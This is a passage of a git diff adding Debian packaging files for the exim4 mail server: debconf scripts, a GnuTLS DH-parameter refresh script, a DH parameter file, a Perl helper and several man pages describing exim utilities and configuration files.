specification</member> + </simplelist> + </refsect1> +</refentry> diff --git a/debian/exim4.config b/debian/exim4.config new file mode 100644 index 0000000..965b04f --- /dev/null +++ b/debian/exim4.config @@ -0,0 +1,17 @@ +#!/bin/sh +set -e + +. /usr/share/debconf/confmodule + +if [ -n "$EX4DEBUG" ]; then + echo "now debugging $0 $@" + set -x +fi + +db_version 2.0 + +if [ "reconfigure" = "$1" ]; then + db_beginblock + db_input low exim4/drec || [ "$?" = "30" ] + db_go +fi diff --git a/debian/exim4.install b/debian/exim4.install new file mode 100644 index 0000000..80e703a --- /dev/null +++ b/debian/exim4.install @@ -0,0 +1 @@ +debian/script usr/share/bug/exim4 diff --git a/debian/exim4.links b/debian/exim4.links new file mode 100644 index 0000000..9602836 --- /dev/null +++ b/debian/exim4.links @@ -0,0 +1 @@ +usr/share/doc/exim4-base usr/share/doc/exim4 diff --git a/debian/exim4.postinst b/debian/exim4.postinst new file mode 100644 index 0000000..f80a6dd --- /dev/null +++ b/debian/exim4.postinst @@ -0,0 +1,14 @@ +#!/bin/sh + +set -e +. /usr/share/debconf/confmodule + +if [ -n "$EX4DEBUG" ]; then + echo "now debugging $0 $@" + set -x +fi + +db_version 2.0 + +#DEBHELPER# + diff --git a/debian/exim4.templates b/debian/exim4.templates new file mode 100644 index 0000000..b74e729 --- /dev/null +++ b/debian/exim4.templates @@ -0,0 +1,5 @@ +Template: exim4/drec +Type: error +_Description: Reconfigure exim4-config instead of this package + Exim4 has its configuration factored out into a dedicated package, + exim4-config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'. diff --git a/debian/exim4_refresh_gnutls-params b/debian/exim4_refresh_gnutls-params new file mode 100755 index 0000000..c16d2e2 --- /dev/null +++ b/debian/exim4_refresh_gnutls-params @@ -0,0 +1,52 @@ +#!/bin/sh +set -e + +if [ -n "$EX4DEBUG" ]; then + echo "now debugging $0 $@" + set -x +fi + + +# regenerate $EXIM4_SPOOLDIR/gnutls-params-* +# As this can take _very_ long on machines with little entropy, we limit +# the maximum runtime to 1800 seconds and keep using the +# old file otherwise. + +# Only do anything if exim4 is actually installed +if [ ! -x /usr/lib/exim4/exim4 ]; then + exit 0 +fi + +# Only do anyting if TLS is enabled in exim +if [ -z "$(/usr/lib/exim4/exim4 -bP tls_advertise_hosts | sed 's/.*=[[:space:]]\(.*\)/\1/')" ]; then + # TLS disabled + exit 0 +fi + +TIMEOUT=${1:-1800} + +EXIM4_SPOOLDIR="${EXIM4_SPOOLDIR:-$(/usr/lib/exim4/exim4 -bP spool_directory | sed 's/.*=[[:space:]]\(.*\)/\1/')}" +cd $EXIM4_SPOOLDIR + +# loop over gnutls-params-files +for paramfile in `find -maxdepth 1 -regex '\./gnutls-params-[0-9][0-9][0-9]*'` ; do + bits=`echo ${paramfile} | sed -e 's:\./gnutls-params-::'` + tempgnutls=$(tempfile --directory $EXIM4_SPOOLDIR --mode 644 --prefix "gnutp" ) + + if [ -x /usr/bin/certtool ] ; then + # GnuTLS + if timeout --preserve-status --kill-after=15 \ + "$TIMEOUT" /usr/bin/certtool --generate-dh-params --bits ${bits} \ + > "$tempgnutls" 2> /dev/null ; then + cat "$tempgnutls" > "${paramfile}" ; rm -f "$tempgnutls" + else + rm -f "$tempgnutls" + break + fi + else + # gnutls-bin not installed, let exim generate the DH params + rm -f "${paramfile}" "$tempgnutls" + fi +done + +# vim:tabstop=2:expandtab:shiftwidth=2 diff --git a/debian/eximon4.dirs b/debian/eximon4.dirs new file mode 100644 index 0000000..240369d --- /dev/null +++ b/debian/eximon4.dirs @@ -0,0 +1,2 @@ +usr/lib/exim4 +usr/sbin diff --git a/debian/eximon4.links b/debian/eximon4.links new file mode 100644 index 0000000..bdc19ec --- /dev/null +++ b/debian/eximon4.links @@ -0,0 +1 @@ +usr/share/doc/exim4-base/changelog.gz usr/share/doc/eximon4/changelog.gz diff --git a/debian/eximon4.manpages b/debian/eximon4.manpages new file mode 100644 index 0000000..4f0a832 --- /dev/null +++ b/debian/eximon4.manpages @@ -0,0 +1 @@ +debian/manpages/eximon.8 diff --git a/debian/eximonconf-patch b/debian/eximonconf-patch new file mode 100644 index 0000000..2b00af7 --- /dev/null +++ b/debian/eximonconf-patch @@ -0,0 +1,7 @@ +--- exim_monitor/EDITME 2002-07-22 09:59:52.000000000 +0100 ++++ config-eximon 2002-09-03 11:51:20.000000000 +0100 +@@ -1,3 +1,4 @@ ++# -*- makefile -*- + ################################################## + # The Exim Monitor # + ################################################## diff --git a/debian/gnutls-params-2048 b/debian/gnutls-params-2048 new file mode 100644 index 0000000..8716426 --- /dev/null +++ b/debian/gnutls-params-2048 @@ -0,0 +1,31 @@ +generator: + 02: + +prime: + b7:0b:a3:05:f1:f7:a1:65:11:e9:47:76:c3:58:f3:74 + 7e:3a:9e:ae:53:e2:5b:a3:0e:73:d3:32:c4:54:89:37 + f9:ab:84:3a:a1:48:ba:9c:16:49:3a:6e:f7:83:44:52 + 27:2c:64:55:99:1b:ed:f1:cb:cd:67:4e:c0:f3:16:dc + fa:78:ab:1b:b0:2e:47:81:80:1f:a0:61:e2:4c:cf:7d + e8:05:5d:91:ee:4d:65:9b:39:17:60:f4:84:cd:91:96 + f7:5a:e1:47:89:06:ab:48:54:60:44:43:c3:6a:10:d3 + ba:67:58:16:0c:10:9b:ed:de:4c:b2:cc:14:1b:c6:29 + 79:f8:42:be:2a:f4:b8:98:16:7f:30:a2:08:22:0b:ec + a8:d0:a7:8c:32:ef:b3:5d:eb:c6:9e:3f:1f:78:0d:75 + e9:bd:cf:a3:35:3c:e5:4b:05:f0:e2:c0:3d:2b:9c:ef + bc:cc:a3:66:1e:49:dd:1a:20:f0:f9:f2:cd:05:36:10 + b3:11:58:a5:a1:9d:eb:a8:ad:87:18:ea:3c:41:62:78 + c2:39:83:3e:60:f8:6a:5b:53:70:ad:07:f6:56:9e:f3 + 4f:53:74:00:01:13:ca:dc:7b:39:1f:bc:81:c3:a8:13 + d7:26:57:05:28:1f:f9:b7:6e:02:99:38:a0:6f:92:03 + + + +-----BEGIN DH PARAMETERS----- +MIIBCAKCAQEAtwujBfH3oWUR6Ud2w1jzdH46nq5T4lujDnPTMsRUiTf5q4Q6oUi6 +nBZJOm73g0RSJyxkVZkb7fHLzWdOwPMW3Pp4qxuwLkeBgB+gYeJMz33oBV2R7k1l +mzkXYPSEzZGW91rhR4kGq0hUYERDw2oQ07pnWBYMEJvt3kyyzBQbxil5+EK+KvS4 +mBZ/MKIIIgvsqNCnjDLvs13rxp4/H3gNdem9z6M1POVLBfDiwD0rnO+8zKNmHknd +GiDw+fLNBTYQsxFYpaGd66ithxjqPEFieMI5gz5g+GpbU3CtB/ZWnvNPU3QAARPK +3Hs5H7yBw6gT1yZXBSgf+bduApk4oG+SAwIBAg== +-----END DH PARAMETERS----- diff --git a/debian/lynx-dump-postprocess b/debian/lynx-dump-postprocess new file mode 100755 index 0000000..e1ebbf9 --- /dev/null +++ b/debian/lynx-dump-postprocess @@ -0,0 +1,49 @@ +#!/usr/bin/perl + +open IN, '<&STDIN'; +#open IN, 'dump'; +{ + local $/; + $content=<IN>; +} +close IN; + +($title,$body,$links) = + ($content =~ + /^(.*)\n\s+_+\n\n + (\s+Table\ of\ Contents.*) + (References\n\n\s+1\..*)/sx); + +die unless ($title); + +print "$title\n".'-' x length($title)."\n\n"; + +# Sort out local links. +# The regex might not be entirely accurate. +foreach (split /\n/, $links) { + ($index, $url) = /^\s*(\d+)\. (.+)$/; + if ($url !~ /file:\/\/.*#.*$/) { + $links[$index] = $url; + } +} + +$linkno=0; +# Split paragraphs +foreach (split /\n(?:\s+_+\n)?\n/, $body) { + my $footnote = ''; + my $rest = $_; + while ( $rest =~ /^(.*?)\[(\d+)\](.*)$/s ) { + print $1; + if (defined $links[$2]) { + $linkno++; + print "[$linkno]"; + $footnote.=" $linkno. $links[$2]\n"; + } + $rest = $3; + } + print $rest; + print "\n\n"; + if ($footnote ne '') { + print "$footnote\n"; + } +} diff --git a/debian/manpages/exicyclog.8 b/debian/manpages/exicyclog.8 new file mode 100644 index 0000000..7b3c759 --- /dev/null +++ b/debian/manpages/exicyclog.8 @@ -0,0 +1,75 @@ +.\" Hey, EMACS: -*- nroff -*- +.\" First parameter, NAME, should be all caps +.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection +.\" other parameters are allowed: see man(7), man(1) +.TH EXICYCLOG 8 "March 26, 2003" +.\" Please adjust this date whenever revising the manpage. +.\" +.\" Some roff macros, for reference: +.\" .nh disable hyphenation +.\" .hy enable hyphenation +.\" .ad l left justify +.\" .ad b justify to both left and right margins +.\" .nf disable filling +.\" .fi enable filling +.\" .br insert line break +.\" .sp <n> insert n+1 empty lines +.\" for manpage-specific macros, see man(7) +.\" \(oqthis text is enclosed in single quotes\(cq +.\" \(lqthis text is enclosed in double quotes\(rq +.SH NAME +exicyclog \- Cycle exim's logfiles +.SH SYNOPSIS +.B eximcyclog +.SH DESCRIPTION +The +.B exicyclog +script can be used to cycle (rotate) +.I mainlog +and +.I rejectlog +files. +This is not necessary if only syslog is being used. +Some operating systems have their own standard mechanisms for log cycling, +and these can be used instead of +.B exicyclog +if preferred. + +Each time +.B exicyclog +is run the file names get \(oqshuffled down\(cq by one. +If the main log file name is mainlog (the default) then when +.B exicyclog +is run mainlog becomes mainlog.01, the previous mainlog.01 becomes mainlog.02 +and so on, up to a limit which is set in the script, and which defaults to 10. +Reject logs are handled similarly. + +If no mainlog file exists, the script does nothing. +Files that \(oqdrop off\(cq the end are deleted. +All files with numbers greater than 01 are compressed, using a compression +command which is configured by the COMPRESS_COMMAND setting in +Local/Makefile. +It is usual to run \(lqexicyclog\(rq daily from a root \(lqcrontab\(rq entry +of the form + + 1 0 * * * su exim \-c /usr/exim/bin/exicyclog + +assuming you have used the name \(oqexim\(cq for the Exim user. +You can run +.B exicyclog +as root if you wish, but there is no need. + + +.SH BUGS +This manual page needs a major re-work. If somebody knows better groff +than us and has more experience in writing manual pages, any patches +would be greatly appreciated. + +.SH SEE ALSO +.BR exim (8), +/usr/share/doc/exim4\-base/ + +.SH AUTHOR +This manual page was stitched together from spec.txt by +Andreas Metzler <ametzler at downhill.at.eu.org>, +for the Debian GNU/Linux system (but may be used by others). diff --git a/debian/manpages/exigrep.8 b/debian/manpages/exigrep.8 new file mode 100644 index 0000000..f12668b --- /dev/null +++ b/debian/manpages/exigrep.8 @@ -0,0 +1,70 @@ +.\" Hey, EMACS: -*- nroff -*- +.\" First parameter, NAME, should be all caps +.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection +.\" other parameters are allowed: see man(7), man(1) +.TH EXIGREP 8 "March 26, 2003" +.\" Please adjust this date whenever revising the manpage. +.\" +.\" Some roff macros, for reference: +.\" .nh disable hyphenation +.\" .hy enable hyphenation +.\" .ad l left justify +.\" .ad b justify to both left and right margins +.\" .nf disable filling +.\" .fi enable filling +.\" .br insert line break +.\" .sp <n> insert n+1 empty lines +.\" for manpage-specific macros, see man(7) +.\" \(oqthis text is enclosed in single quotes\(cq +.\" \(lqthis text is enclosed in double quotes\(rq +.SH NAME +EXIGREP \- Search Exim's main log +.SH SYNOPSIS +.B exigrep +.I [\-l] pattern [log file] ... + +.SH DESCRIPTION +The +.B exigrep +utility is a Perl script that searches one or more main log files for +entries that match a given pattern. +When it finds a match, it extracts all the log entries for the relevant +message, not just those that match the pattern. +Thus, +.B exigrep +can extract complete log entries for a given message, or all mail for a given +user, or for a given host, for example. + +The +.I \-l +flag means \(oqliteral\(cq, that is, treat all characters in the pattern as +standing for themselves. +Otherwise the pattern must be a Perl regular expression. +The pattern match is case-insensitive. +If no file names are given on the command line, the standard input is +read. + +If the location of a +.B zcat +command is known from the definition of ZCAT_COMMAND in Local/Makefile, +.B exigrep +automatically passes any file whose +name ends in COMPRESS_SUFFIX through +.B zcat +as it searches it. + +.SH BUGS +This manual page needs a major re-work. If somebody knows better groff +than us and has more experience in writing manual pages, any patches +would be greatly appreciated. + +.SH SEE ALSO +.BR exim (8), +.BR perlre (1), +/usr/share/doc/exim4\-base/ + + +.SH AUTHOR +This manual page was stitched together from spec.txt by +Andreas Metzler <ametzler at downhill.at.eu.org>, +for the Debian GNU/Linux system (but may be used by others). diff --git a/debian/manpages/exim4-config_files.5 b/debian/manpages/exim4-config_files.5 new file mode 100644 index 0000000..b217377 --- /dev/null +++ b/debian/manpages/exim4-config_files.5 @@ -0,0 +1,364 @@ +.\" Hey, EMACS: -*- nroff -*- +.\" First parameter, NAME, should be all caps +.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection +.\" other parameters are allowed: see man(7), man(1) +.TH EXIM4-CONFIG_FILES 5 "Jan 4, 2015" EXIM4 +.\" Please adjust this date whenever revising the manpage. +.\" +.\" Some roff macros, for reference: +.\" .nh disable hyphenation +.\" .hy enable hyphenation +.\" .ad l left justify +.\" .ad b justify to both left and right margins +.\" .nf disable filling +.\" .fi enable filling +.\" .br insert line break +.\" .sp <n> insert n+1 empty lines +.\" for manpage-specific macros, see man(7) +.\" \(oqthis text is enclosed in single quotes\(cq +.\" \(lqthis text is enclosed in double quotes\(rq +.SH NAME +exim4-config_files \- Files in use by the Debian exim4 packages +.SH SYNOPSIS +.br +/etc/aliases +.br +/etc/email\-addresses +.br +/etc/exim4/local_host_blacklist +.br +/etc/exim4/host_local_deny_exceptions +.br +/etc/exim4/local_sender_blacklist +.br +/etc/exim4/sender_local_deny_exceptions +.br +/etc/exim4/local_sender_callout +.br +/etc/exim4/local_rcpt_callout +.br +/etc/exim4/local_domain_dnsbl_whitelist +.br +/etc/exim4/hubbed_hosts +.br +/etc/exim4/passwd +.br +/etc/exim4/passwd.client +.br +/etc/exim4/exim.crt +.br +/etc/exim4/exim.key +.SH DESCRIPTION +This manual page describes the files that are in use by the Debian +exim4 packages and which are not part of an exim installation done +from source. +.SH /etc/aliases +is a table providing a mechanism to redirect mail for local +recipients. /etc/aliases is a text file which is roughly compatible +with Sendmail. The file should contain lines of the form +.br +name: address, address, ... +.br +The name is a local address without domain part. All local domains are +handled equally. For more detailed documentation, please refer to +/usr/share/doc/exim4\-base/spec.txt.gz, chapter 22, and to +/usr/share/doc/exim4\-base/README.Debian.gz. Please note that it +is not possible to use delivery to arbitrary files, directories and to +pipes. This is forbidden in Debian's exim4 default configuration. + +You should at least set up an alias for postmaster in the /etc/aliases +file. +.SH /etc/email\-addresses +is used to rewrite the email addresses of users. This is particularly +useful for users who use their ISP's domain for email. + +The file should contain lines of the form + +.br +user: someone@isp.com +.br +otheruser: someoneelse@anotherisp.com + +This way emails from user will appear to be from someone@isp.com to +the outside world. Technically, the from, reply\-to, and sender +addresses, along with the envelope sender, are rewritten for users that +appear to be in the local domain. + +.SH /etc/exim4/local_host_blacklist +.I [exim host list] +is an optional file containing a list of IP addresses, networks and +host names whose messages will be denied with the error message +"locally blacklisted". This is a full exim 4 host list, and all +available features can be used. This includes negative items, and so +it is possible to exclude addresses from being blacklisted. For +convenience, as an additional method to whitelist addresses from being +blocked, an explicit whitelist is read in from +/etc/exim4/host_local_deny_exceptions. Entries in the whitelist override +corresponding blacklist entries. + +In the blacklist, the trick is to read a line break as "or" if it +follows a positive item, and as "and" if it follows a negative item. + +For example, a /etc/exim4/local_host_blacklist + +.br +192.168.10.0/24 +.br +!172.16.10.128/26 +.br +172.16.10.0/24 +.br +10.0.0.0/8 + +Exim just evaluates left to right (or up-down in the file listing +context), so you don't get the same kind of operator binding as in a +programming language. + +.SH /etc/exim4/host_local_deny_exceptions +.I [exim host list] +contains a list of IP addresses, networks and host names whose +messages will be accepted despite the address is also listed in +/etc/exim4/local_host_blacklist, overriding a blacklisting. + +.SH /etc/exim4/local_sender_blacklist +.I [exim address list] +is an optional files containing a list of envelope senders whose +messages will be denied with the error message "locally blacklisted". +This is a full exim 4 address list, and all available features can be +used. This includes negative items, and so it is possible to exclude +addresses from being blacklisted. For convenience, as an additional +method to whitelist addresses from being blocked, an explicit +whitelist is read in from /etc/exim4/sender_local_deny_exceptions. Entries +in the whitelist override corresponding blacklist entries. + +In the blacklist, the trick is to read a line break as "or" if it +follows a positive item, and as "and" if it follows a negative item. + +For example, a /etc/exim4/local_sender_blacklist + +.br +domain1.example +.br +!local@domain2.example +.br +domain2.example +.br +domain3.example + +Exim just evaluates left to right (or up-down in the file listing +context), so you don't get the same kind of operator binding as in a +programming language. + +.SH /etc/exim4/sender_local_deny_exceptions +.I [exim address list] +is an optional file containing a list of envelope senders whose messages +will be accepted despite the address being also listed in +/etc/exim4/local_sender_blacklist, overriding a blacklisting. + +.SH /etc/exim4/local_sender_callout +.I [exim address list] +is an optional file containing a list of envelope senders whose +messages are subject to sender verification with a callout. This is a +full exim4 address list, and all available features can be used. + +.SH /etc/exim4/local_rcpt_callout +.I [exim address list] +is an optional file containing a list of envelope recipients for which +incoming messages are subject to recipient verification with a +callout. This is a full exim4 address list, and all available features +can be used. + +.SH /etc/exim4/local_domain_dnsbl_whitelist +.I [exim address list] +is an optional file containing a list of envelope senders whose +messages are exempt from blacklisting via a domain-based DNSBL. This +is a full exim4 address list, and all available features can be used. +This feature is intended to be used in case of a domain-based DNSBL +being too heavy handed, for example listing entire top-level domains +for their registry policies. + +.SH /etc/exim4/hubbed_hosts +.I [exim domain list] +is an optional file containing a list of route_data records which can +be used to override or augment MX information from the DNS. This is +particularly useful for mail hubs which are highest-priority MX for a +domain in the DNS but are not final destination of the messages, +passing them on to a host which is not publicly reachable, or to +temporarily fix mail routing in case of broken DNS setups. + +The file should contain key-value pairs of domain pattern and route +data of the form + +.br +domain: host-list options +.br +dict.ref.example: mail\-1.ref.example:mail\-2.ref.example +.br +foo.example: internal.mail.example.com +.br +bar.example: 192.168.183.3 + +which will cause mail for foo.example to be sent to the host +internal.mail.example (IP address derived from A record only), and +mail to bar.example to be sent to 192.168.183.3. + +See spec.txt chapter 20.3 through 20.7 for a more detailed explanation +of host list format and available options. + +.SH /etc/exim4/passwd +contains account and password data for SMTP authentication when the +local exim is SMTP server and clients authenticate to the local exim. + +The file should contain lines of the form + +.br +username:crypted-password:clear-password + +crypted-password is the crypt(3)-created hash of your password. You +can, for example, use the mkpasswd program from the whois package to +create a crypted password. It is recommended to use a modern hash +algorithm, see mkpasswd \-\-method=help. Consider not using crypt or MD5. + +clear-password is only necessary if you want to offer CRAM-MD5 +authentication. If you don't plan on doing so, the third column can be +omitted completely. + +This file must be readable for the Debian\-exim user and should not be +readable for others. Recommended file mode is root:Debian\-exim 640. + +.SH /etc/exim4/passwd.client +contains account and password data for SMTP authentication when exim +is authenticating as a client to some remote server. + +The file should contain lines of the form + +.br +target.mail.server.example:login-user-name:password + +which will cause exim to use login-user-name and password when sending +messages to a server with the canonical host name +target.mail.server.example. Please note that this does not configure +the mail server to send to (this is determined in Debconf), but only +creates the correlation between host name and authentication +credentials to avoid exposing passwords to the wrong host. + +Please note that target.mail.server.example is currently the value +that exim can read from reverse DNS: It first follows the host name of +the target system until it finds an IP address, and then looks up the +reverse DNS for that IP address to use the outcome of this query (or +the IP address itself should the query fail) as index into +/etc/exim4/passwd.client. + +This goes inevitably wrong if the host name of the mail server is a +CNAME (a DNS alias), or the reverse lookup does not fit the forward one. + +Currently, you need to manually lookup all reverse DNS names for all +IP addresses that your SMTP server host name points to, for example by +using the host command. If the SMTP smarthost alias expands to +multiple IPs, you need to have multiple lines for all the hosts. When +your ISP changes the alias, you will need to manually fix that. + +You may minimize this trouble by using a wild card entry or regular +expressions, thus reducing the risk of divulging the password to the +wrong SMTP server while reducing the number of necessary lines. For a +deeper discussion, see the Debian BTS #244724. + +password is your SMTP password in clear text. If you do not know about +your SMTP password, you can try using your POP3 password as a first +guess. + +This file must be readable for the Debian\-exim user and should not be +readable for others. Recommended file mode is root:Debian\-exim 640. + +.br +# example for CONFDIR/passwd.client +.br +# this will only match if the server's generic name matches exactly +.br +mail.server.example:user:password +.br +# this will deliver the password to any server +.br +*:username:password +.br +# this will deliver the password to servers whose generic name ends in +.br +# mail.server.example +.br +*.mail.server.example:user:password +.br +# this will deliver the password to servers whose generic name matches +.br +# the regular expression +.br +^smtp[0\-9]*\\.mail\\.server\\.example:user:password +.br + +.SH /etc/exim4/exim.crt +contains the certificate that exim uses to initiate TLS connections. +This is public information and can be world readable. +/usr/share/doc/exim4\-base/examples/exim\-gencert can +be used to generate a private key and self-signed certificate. + +.SH /etc/exim4/exim.key +contains the private key belonging to the certificate in exim.crt. +This file's contents must be kept secret and should have mode +root:Debian\-exim 640. /usr/share/doc/exim4\-base/examples/exim\-gencert +can be used to generate a private key and self-signed certificate. + +.SH BUGS +Plenty. Please report them through the Debian BTS + +This manual page needs a major re-work. If somebody knows better groff +than us and has more experience in writing manual pages, any patches +would be greatly appreciated. + +.SH NOTES +.SS Unresolvable items in host lists + +Adding or keeping items in the abovementioned host lists which are not +resolvable by DNS has severe consequences. + +e.g. if resolving a +.B hostname +in local_host_blacklist returns a temporary error (DNS timeout) exim +will not be able to check whether a connecting host is part of the list. +Exim will therefore return a temporary SMTP error for +.I every +connecting host. + +On the other hand if there is a permanent error in resolving a name in the +host list (the record was removed from DNS) exim behaves as if the host +does not match the list. e.g. a local_host_blacklist consisting of + +notresolvable.example.com:rejectme.example.com + +is equivalent to an empty one. - Exim tries to match the IP-address of the +connecting host to notresolvable.example.com, resolving this IP by DNS +fails, exim behaves as if the connecting host does not match the list. List +processing stops at this point! + +Starting the list with the special pattern +ignore_unknown as a +safeguard against this behavior is strongly recommended if hostnames are +used in hostlists. + +See Exim specification Chapter +.I Domain, host, address, and local part lists +, section +.I Behaviour when an IP address or name cannot be found. +<http://www.exim.org/exim\-html\-current/doc/html/spec_html/ch\-domain_host_address_and_local_part_lists.html> + +.SH SEE ALSO +.br +.BR exim (8), +.br +.BR update\-exim4.conf(8), +.br +.BR /usr/share/doc/exim4\-base/, +.br +and for general notes and details about interaction with debconf +.BR /usr/share/doc/exim4\-base/README.Debian.gz + +.SH AUTHOR +Marc Haber <mh+debian-packages@zugschlus.de> with help from Ross Boylan. + diff --git a/debian/manpages/exim_checkaccess.8 b/debian/manpages/exim_checkaccess.8 new file mode 100644 index 0000000..5a32d22 --- /dev/null +++ b/debian/manpages/exim_checkaccess.8 @@ -0,0 +1,80 @@ +.\" Hey, EMACS: -*- nroff -*- +.\" First parameter, NAME, should be all caps +.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection +.\" other parameters are allowed: see man(7), man(1) +.TH EXIM_CHECKACCESS 8 "March 26, 2003" +.\" Please adjust this date whenever revising the manpage. +.\" +.\" Some roff macros, for reference: +.\" .nh disable hyphenation +.\" .hy enable hyphenation +.\" .ad l left justify +.\" .ad b justify to both left and right margins +.\" .nf disable filling +.\" .fi enable filling +.\" .br insert line break +.\" .sp <n> insert n+1 empty lines +.\" for manpage-specific macros, see man(7) +.\" \(oqthis text is enclosed in single quotes\(cq +.\" \(lqthis text is enclosed in double quotes\(rq +.SH NAME +exim_checkaccess \- Check address acceptance from given IP +.SH SYNOPSIS +.B exim_checkaccess +.I IP-address email@address [more Exim options] + +.SH DESCRIPTION +.B Exim's +.I \-bh +command line argument allows you to run a fake SMTP session with debugging +output, in order to check what Exim is doing when it is applying policy +controls to incoming SMTP mail. +However, not everybody is sufficiently familiar with the SMTP protocol to +be able to make full use of \-bh, and sometimes you just want to answer the +question \(lqDoes this address have access?\(rq without bothering with any +further details. + +The +.B exim_checkaccess +utility is a \(oqpackaged\(cq version of +.I \-bh. +It takes two arguments, an IP address and an email address: + + exim_checkaccess 10.9.8.7 A.User@a.domain.example + +The utility runs a call to +.B Exim +with the \-bh option, to test whether the given email address would be +accepted in a RCPT command in a TCP/IP connection from the host with the +given IP address. +The output of the utility is either the word \(oqaccepted\(cq, or the SMTP error +response, for example: + + Rejected: + 550 Relay not permitted + +When running this test, the utility uses \(lq<>\(rq as the envelope sender +address for the MAIL command, but you can change this by providing additional +options. These are passed directly to the Exim command. +For example, to specify that the test is to be run with the sender address +\(lqhimself@there.example\(rq you can use: + + exim_checkaccess 10.9.8.7 A.User@a.domain.example \\ + \-f himself@there.example + +Note that these additional Exim command line items must be given after the +two mandatory arguments. + +.SH BUGS +This manual page needs a major re-work. If somebody knows better groff +than us and has more experience in writing manual pages, any patches +would be greatly appreciated. + +.SH SEE ALSO +.BR exim (8), +/usr/share/doc/exim4\-base/ + +.SH AUTHOR +This manual page was stitched together from spec.txt by +Andreas Metzler <ametzler at downhill.at.eu.org>, +for the Debian GNU/Linux system (but may be used by others). diff --git a/debian/manpages/exim_convert4r4.8 b/debian/manpages/exim_convert4r4.8 new file mode 100644 index 0000000..dbe62b8 --- /dev/null +++ b/debian/manpages/exim_convert4r4.8 @@ -0,0 +1,73 @@ +.\" Hey, EMACS: -*- nroff -*- +.\" First parameter, NAME, should be all caps +.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection +.\" other parameters are allowed: see man(7), man(1) +.TH EXIM_CONVERT4R4 8 "March 26, 2003" +.\" Please adjust this date whenever revising the manpage. +.\" +.\" Some roff macros, for reference: +.\" .nh disable hyphenation +.\" .hy enable hyphenation +.\" .ad l left justify +.\" .ad b justify to both left and right margins +.\" .nf disable filling +.\" .fi enable filling +.\" .br insert line break +.\" .sp <n> insert n+1 empty lines +.\" for manpage-specific macros, see man(7) +.\" \(oqthis text is enclosed in single quotes\(cq +.\" \(lqthis text is enclosed in double quotes\(rq +.SH NAME +exim_convert4r4 \- Convert Exim configuration from v3 to v4 format +.SH SYNOPSIS +.B exim_convert4r4 + +.SH DESCRIPTION +This script is provided to assist in updating Exim configuration files. +It reads an Exim 3 configuration file on the standard input, and writes a +modified file on the standard output. +It also writes comments about what it has done to the standard error file. +It assumes that the input is a valid Exim 3 configuration file. +A typical call to the conversion script might be + +.I exim_convert4r4 < /etc/exim/exim.conf > /etc/exim4/exim4.conf.new + +The output file +.B MUST +be checked and tested before trying to use it on a live system. +The conversion script is just an aid which does a lot of the \(lqgrunt +work\(rq. +It does not guarantee to produce an Exim 4 configuration that behaves +exactly the same as the Exim 3 configuration it reads. + +Each option change in the new file is preceded by an identifying comment. +In fact, the conversion script tends to make quite a mess of your +configuration, and you should expect to go through it afterwards and tidy +it up by hand. + +Unless you are running a very straightforward configuration, the automatic +conversion is likely to generate a non-optimal configuration. +You should not only check it thoroughly, but also run as many tests as you +can, to ensure that it is working as you expect. +In particular, you should test address routing, using \-bt and \-bv, and the +policy controls, using \-bh. +If possible, you should also do some live tests (i.e. send and receive +some messages) before putting Exim 4 into service. + +If you have a very complicated configuration, it is possible that +exim_convert4r4 will break it in some situations, which is why thorough +testing is strongly recommended. + +.SH BUGS +This manual page needs a major re-work. If somebody knows better groff +than us and has more experience in writing manual pages, any patches +would be greatly appreciated. + +.SH SEE ALSO +.BR exim (8), +the files in /usr/share/doc/exim4\-base/, especially Exim4.upgrade.gz + +.SH AUTHOR +This manual page was stitched together from Exim4.upgrade by +Andreas Metzler <ametzler at downhill.at.eu.org>, +for the Debian GNU/Linux system (but may be used by others). diff --git a/debian/manpages/exim_db.8 b/debian/manpages/exim_db.8 new file mode 100644 index 0000000..1e25aa2 --- /dev/null +++ b/debian/manpages/exim_db.8 @@ -0,0 +1,193 @@ +.\" Hey, EMACS: -*- nroff -*- +.\" First parameter, NAME, should be all caps +.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection +.\" other parameters are allowed: see man(7), man(1) +.TH EXIM_DB 8 "December 26, 2012" +.\" Please adjust this date whenever revising the manpage. +.\" Up to date for 4.80 +.\" +.\" Some roff macros, for reference: +.\" .nh disable hyphenation +.\" .hy enable hyphenation +.\" .ad l left justify +.\" .ad b justify to both left and right margins +.\" .nf disable filling +.\" .fi enable filling +.\" .br insert line break +.\" .sp <n> insert n+1 empty lines +.\" for manpage-specific macros, see man(7) +.\" \(oqthis text is enclosed in single quotes\(cq +.\" \(lqthis text is enclosed in double quotes\(rq +.SH NAME +exim_db \- Exim's hint databases maintenance (exim_dumpdb, exim_fixdb, exim_tidydb) +.SH SYNOPSIS +.B exim_dumpdb +.I spooldir database +.br +.B exim_fixdb +.I spooldir database +.br +.B exim_tidydb +.I [\-f] [\-t time] spooldir database + +.SH DESCRIPTION +Three utility programs are provided for maintaining the DBM files that +Exim uses to contain its delivery hint information. +Each program requires two arguments. +The first specifies the name of Exim's spool directory, and the second is +the name of the database it is to operate on. +These are as follows: +.TP +.B retry +the database of retry information +.TP +.B wait\-<transport name> +databases of information about messages waiting for remote hosts +.TP +.B callout +the callout cache +.TP +.B ratelimit +the data for implementing the ratelimit ACL condition +.TP +.B misc +other hints data (for example, for serializing ETRN runs) +.P +The entire contents of a database are written to the standard output by the +.B exim_dumpdb +program, which has no options or arguments other than the spool +and database names. +For example, to dump the retry database: + +.I exim_dumpdb /var/spool/exim4 retry + +Two lines of output are produced for each entry: +.nf + T:mail.ref.example:192.168.242.242 146 77 Connection refused + 31-Oct-1995 12:00:12 02-Nov-1995 12:21:39 02-Nov-1995 20:21:39 * + +.fi +The first item on the first line is the key of the record. +It starts with one of the letters R, or T, depending on whether it refers +to a routing or transport retry. +For a local delivery, the next part is the local address; for a remote +delivery it is the name of the remote host, followed by its failing IP +address (unless \(lqretry_include_ip_address\(rq is set false on the smtp +transport). If the remote port is not the standard one (port 25), it is +added to the IP address. +Then there follows an error code, an additional error code, and a +textual description of the error. + +The three times on the second line are the time of first failure, the time of +the last delivery attempt, and the computed time for the next attempt. +The line ends with an asterisk if the cutoff time for the last retry rule +has been exceeded. + +Each output line from +.B exim_dumpdb +for the +.I wait\-xxx +databases consists of a host name followed by a list of ids for messages +that are or were waiting to be delivered to that host. +If there are a very large number for any one host, continuation records, +with a sequence number added to the host name, may be seen. +The data in these records is often out of date, because a message may be 